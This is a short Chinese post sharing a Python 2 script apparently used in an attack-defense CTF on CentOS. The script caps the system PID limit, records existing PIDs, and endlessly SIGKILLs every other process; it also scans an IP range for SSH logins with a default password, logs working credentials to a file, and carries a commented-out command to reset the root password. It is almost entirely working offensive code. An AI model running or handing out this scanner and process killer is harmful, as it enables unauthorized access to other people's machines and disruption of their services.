比賽已經結束,放出來吧python
保護原有進程,殺死新起來的進程centos
#-*- coding:utf-8 -*- #2018-01-17 #by-duwentao #version:python 2.7.9 #python2.6.6也能夠使用 import os import signal pid_list=[] #設置最大進程 def max_pid(): f = open("/proc/sys/kernel/pid_max","r") pid = int(f.read().strip("\n")) f.close() if pid != 1024: print pid #設置最大進程數1024 os.system("echo \"1024\" >> /proc/sys/kernel/pid_max") else: print "max_pid : 1024" #獲取須要保護的pid進程 def get_pid(): #判斷要保護的進程是否存在,不存在則獲取 if os.path.exists("pid.txt"): pass else: os.system("ps aux |awk \'{print $2}\' |sed \'s/PID/0/g\' >> pid.txt") #把要保護的進行加到列表裏 f = open("pid.txt","r") for pid in f.readlines(): pid = int(pid.strip("\n")) pid_list.append(pid) f.close() return pid_list def kill_pid(pid_list): self_pid = os.getpid() #獲取本身程序的pid while True: for i in range(1,1025): if i in pid_list: pass elif (i == self_pid): pass else: try: a = os.kill(i, signal.SIGKILL) print '已殺死pid爲%s的進程, 返回值是:%s' % (i, a) except: pass def get_ip(): ip5 = int(raw_input("請輸入要循環ip的第幾位(3或者4):").strip("\n")) if ip5 == 3 : ip1 = int(raw_input("請輸入ip第一位:").strip("\n")) ip2 = int(raw_input("請輸入ip第二位:").strip("\n")) ip3 = int(raw_input("請輸入ip第三位:").strip("\n")) ip4 = int(raw_input("請輸入ip第四位:").strip("\n")) username = raw_input("請輸入用戶名:").strip("\n") passwd = raw_input("請輸入默認密碼:").strip("\n") for ip3 in range(105,107): ip = str(ip1) + "." + str(ip2) + "." + str(ip3) + "." + str(ip4) ssh_connect(ip,username,passwd) #調用鏈接函數 elif ip5 == 4: ip1 = int(raw_input("請輸入ip第一位:").strip("\n")) ip2 = int(raw_input("請輸入ip第二位:").strip("\n")) ip3 = int(raw_input("請輸入ip第三位:").strip("\n")) #ip4 = int(raw_input("請輸入ip第四位:").strip("\n")) username = raw_input("請輸入用戶名:").strip("\n") passwd = raw_input("請輸入默認密碼:").strip("\n") for ip4 in range(105,107): ip = str(ip1) + "." + str(ip2) + "." + str(ip3) + "." + str(ip4) ssh_connect(ip,username,passwd) else: print ("輸入有誤,正在退出") exit() def ssh_connect(ip,username,passwd): try: #python2.6.6自帶的模塊 import paramiko except: print "請使用python2.6.6運行或者安裝paramiko模塊" try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip,username=username,password=passwd,timeout= 1 ) #os.system(" echo centos | passwd --stdin root") # 修改root密碼爲centos f=open('ssh.txt','a') f.write("ip:%s,username:%s,password:%s\n" %(ip,username,passwd)) f.close() ssh.close() except: ·pass def menu(): while True: print "\033[32m -------請選擇------\033[0m" print "\033[32m 1.獲取和修改最大pid\033[0m" print "\033[32m 2.獲取受保護的pid值\033[0m" print "\033[32m 3.獲取ssh弱口令密碼\033[0m" print "\033[32m 4.殺死不受保護的pid\033[0m" print "\033[32m 5.退出本程序的運行\033[0m" try: c =int(raw_input("請輸入你要選擇的序號:")) except: print "\033[31m your input is wrong \033[0m" continue if c == 1: max_pid() elif (c == 2): get_pid() elif ( c == 3 ): get_ip() elif (c == 4): kill_pid(pid_list) elif ( c == 5 ): exit() else: print "\033[31m your input is wrong \033[0m" if __name__ == '__main__': print("用的時候最好把漢語換成英語,避免出現亂碼") menu()